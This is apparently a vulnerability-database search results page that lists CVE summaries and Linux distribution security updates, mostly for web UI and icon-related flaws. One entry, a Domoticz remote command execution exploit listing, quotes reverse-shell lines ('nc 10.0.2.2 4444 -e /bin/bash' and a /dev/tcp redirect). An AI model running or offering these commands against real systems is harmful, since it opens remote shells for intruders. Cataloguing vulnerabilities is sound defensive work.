2312 matches found
Remote code execution
A Remote Code Execution issue in the DNS Query Web UI in Lifesize Icon LSRM33.7.0 2421 allows remote authenticated attackers to execute arbitrary commands via a crafted DNS Query address field in a JSON API request...
CVE-2019-3702
A Remote Code Execution issue in the DNS Query Web UI in Lifesize Icon LSRM33.7.0 2421 allows remote authenticated attackers to execute arbitrary commands via a crafted DNS Query address field in a JSON API request...
CVE-2019-3702
CVE-2019-3702 affects Lifesize Icon LS_RM3_3.7.0 (2421). The vulnerability is a Remote Code Execution in the DNS Query Web UI, exploitable by an authenticated attacker who crafts a DNS Query address field in a JSON API request. Connected sources reiterate the issue but do not provide exploitation...
PT-2019-16650
Name of the Vulnerable Software and Affected Versions Lifesize Icon version 3.7.0 2421 Description A Remote Code Execution issue in the DNS Query Web UI allows remote authenticated attackers to execute arbitrary commands via a crafted DNS Query address field in a JSON API request. Recommendations...
CVE-2019-3702: Improper Neutralization of Special Elements used in an OS Command
A Remote Code Execution issue in the DNS Query Web UI in Lifesize Icon LSRM33.7.0 2421 allows remote authenticated attackers to execute arbitrary commands via a crafted DNS Query address field in a JSON API request...
Fedora Update for pidgin-sipe FEDORA-2019-e3b2885a25
The remote host is missing an update for the Copyright C 2019 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...
Domoticz 4.10577 - Unauthenticated Remote Command Execution Exploit
Exploit for multiple platform in category web applications !/usr/bin/env python -- coding: utf-8 -- Exploit Title: Unauthenticated Remote Command Execution on Domoticz & /dev/tcp/172.17.0.1/4444 0&1 &' ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &' import argparse...
PT-2020-9418
Name of the Vulnerable Software and Affected Versions: iTop versions prior to 2.7.0 Description: The issue allows an XSS payload to be delivered in certain fields of the XML file used to build the dashboard, such as the icon field. Recommendations: For versions prior to 2.7.0, update to version...
Joomla Component iPhone homepage icon Parameter SQL Injection Vulnerability
Joomla is an open source content management system CMS. A SQL injection vulnerability exists in the iPhone homepage icon parameter of the Joomla component. An attacker can exploit the vulnerability to obtain sensitive information from the database...
Qualys Cloud Platform 2.38 New Features
This release of the Qualys Cloud Platform version 2.38 includes updates and new features for AssetView, Web Application Firewall, and Web Application Scanning, highlights as follows. AssetView Azure Instance State search token and Dynamic Tag Support – A new search token "azure.vm.state" is added...
CVE-2019-9605
PHP Scripts Mall Online Lottery PHP Readymade Script 1.7.0 has Reflected Cross-site Scripting XSS via the err value in a .ico picture upload...
openSUSE Security Update : GraphicsMagick (openSUSE-2019-397)
GraphicsMagick was updated to 1.3.29 : - Security Fixes : - GraphicsMagick is now participating in Google's oss-fuzz project - JNG: Require that the embedded JPEG image have the same dimensions as the JNG image as provided by JHDR. Avoids a heap write overflow. - MNG: Arbitrarily limit the number...
March 26, 2019—KB4490481 (OS Build 17763.402)
None None...
DOGE - Darknet Osint Graph Explorer
DOGE Darknet Osint Graph Explorer Still in dev, works right. You should use this in addtion to Darknet OSINT Transform Pay attention here Query prototype: SELECT DISTINCT customcolumnname AS input, anothercustomname AS output FROM sometable, obviously you can add other options as WHERE, ORDER BY,...
MGASA-2019-0063 Updated cinnamon packages fix security vulnerability
A flaw was found in Cinnamon 1.9.2 through 3.8.6. The cinnamon-settings-users.py GUI runs as root and allows configuration of for example other users' icon files in onfacebrowsemenuitemactivated and onfacemenuitemactivated. These icon files are written to the respective user's $HOME/.face locatio...
openSUSE Security Update : java-11-openjdk (openSUSE-2019-161)
This update for java-11-openjdk to version 11.0.2+7 fixes the following issues : Security issues fixed : - CVE-2019-2422: Better FileChannel transfer performance bsc1122293 - CVE-2019-2426: Improve web server connections - CVE-2018-11212: Improve JPEG processing bsc1122299 - Better route routing ...
Security update for java-11-openjdk (important)
openSUSE Security Update: Security update for java-11-openjdk Announcement ID: openSUSE-SU-2019:0161-1 Rating: important References: 1120431 1122293 1122299 Cross-References: CVE-2018-11212 CVE-2019-2422 CVE-2019-2426 Affected Products: openSUSE Leap 15.0 An update that fixes three vulnerabilitie...
CVE-2018-18247
Icinga Web 2 before 2.6.2 has XSS via the /icingaweb2/navigation/add icon parameter...